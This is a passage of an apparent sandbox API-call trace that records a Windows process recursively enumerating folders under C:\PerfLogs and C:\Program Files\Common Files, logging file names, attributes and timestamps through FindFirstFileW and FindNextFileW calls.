ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0077.381] GetProcessHeap () returned 0x470000 [0077.381] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3221080 [0077.381] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255200 [0077.381] FindNextFileW (in: hFindFile=0x3255200, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.381] FindNextFileW (in: hFindFile=0x3255200, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.381] FindClose (in: hFindFile=0x3255200 | out: hFindFile=0x3255200) returned 1 [0077.382] GetProcessHeap () returned 0x470000 [0077.382] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3221080 | out: hHeap=0x470000) returned 1 [0077.382] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0077.382] FindClose (in: hFindFile=0x3255100 | out: hFindFile=0x3255100) returned 1 [0077.382] GetProcessHeap () returned 0x470000 [0077.382] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0077.382] FindNextFileW (in: hFindFile=0x48e718, lpFindFileData=0x2aef6e0 | out: lpFindFileData=0x2aef6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe5d37280, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5d37280, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0077.382] GetProcessHeap () returned 0x470000 [0077.382] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0077.382] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe5d37280, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5d37280, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255100 [0077.382] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe5d37280, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5d37280, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.382] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdfd8de60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfd8de60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0077.382] GetProcessHeap () returned 0x470000 [0077.382] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3221080 [0077.382] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdfd8de60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfd8de60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255200 [0077.383] FindNextFileW (in: hFindFile=0x3255200, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdfd8de60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfd8de60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.383] FindNextFileW (in: hFindFile=0x3255200, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2c8330, ftCreationTime.dwHighDateTime=0x1d59043, ftLastAccessTime.dwLowDateTime=0x113efa40, ftLastAccessTime.dwHighDateTime=0x1d5da4b, ftLastWriteTime.dwLowDateTime=0x113efa40, ftLastWriteTime.dwHighDateTime=0x1d5da4b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-charge.exe", cAlternateFileName="ACTIVE~1.EXE")) returned 1 [0077.383] FindNextFileW (in: hFindFile=0x3255200, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e676fa0, ftCreationTime.dwHighDateTime=0x1d5bb7f, ftLastAccessTime.dwLowDateTime=0x41dff730, ftLastAccessTime.dwHighDateTime=0x1d5657a, ftLastWriteTime.dwLowDateTime=0x41dff730, ftLastWriteTime.dwHighDateTime=0x1d5657a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="alftp.exe", cAlternateFileName="")) returned 1 [0077.383] FindNextFileW (in: hFindFile=0x3255200, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83123040, ftCreationTime.dwHighDateTime=0x1d58d13, ftLastAccessTime.dwLowDateTime=0x1d5c4c10, ftLastAccessTime.dwHighDateTime=0x1d5cd30, ftLastWriteTime.dwLowDateTime=0x1d5c4c10, ftLastWriteTime.dwHighDateTime=0x1d5cd30, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="centralcreditcard.exe", cAlternateFileName="CENTRA~1.EXE")) returned 1 [0077.383] FindNextFileW (in: hFindFile=0x3255200, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0077.383] GetProcessHeap () returned 0x470000 [0077.383] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4e5b78 [0077.384] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255240 [0077.384] FindNextFileW (in: hFindFile=0x3255240, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.384] FindNextFileW (in: hFindFile=0x3255240, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0077.384] FindNextFileW (in: hFindFile=0x3255240, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0077.384] FindClose (in: hFindFile=0x3255240 | out: hFindFile=0x3255240) returned 1 [0077.384] GetProcessHeap () returned 0x470000 [0077.384] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4e5b78 | out: hHeap=0x470000) returned 1 [0077.384] FindNextFileW (in: hFindFile=0x3255200, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0077.385] GetProcessHeap () returned 0x470000 [0077.385] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4e5b78 [0077.385] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255240 [0077.385] FindNextFileW (in: hFindFile=0x3255240, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.385] FindNextFileW (in: hFindFile=0x3255240, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0077.385] GetProcessHeap () returned 0x470000 [0077.385] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f5b80 [0077.385] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0077.385] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.385] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0077.385] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0077.386] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0077.386] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0077.386] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0077.386] GetProcessHeap () returned 0x470000 [0077.386] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f5b80 | out: hHeap=0x470000) returned 1 [0077.386] FindNextFileW (in: hFindFile=0x3255240, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0077.386] GetProcessHeap () returned 0x470000 [0077.386] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f5b80 [0077.386] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0077.581] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.581] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0077.582] GetProcessHeap () returned 0x470000 [0077.582] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0077.583] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32552c0 [0077.583] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.583] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0077.584] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0077.584] FindClose (in: hFindFile=0x32552c0 | out: hFindFile=0x32552c0) returned 1 [0077.584] GetProcessHeap () returned 0x470000 [0077.584] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0077.584] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0077.584] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0077.584] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0077.584] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0077.584] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0077.584] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0077.585] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0077.585] GetProcessHeap () returned 0x470000 [0077.585] HeapFree (in: hHeap=0x470000, dwFlags=0x0, 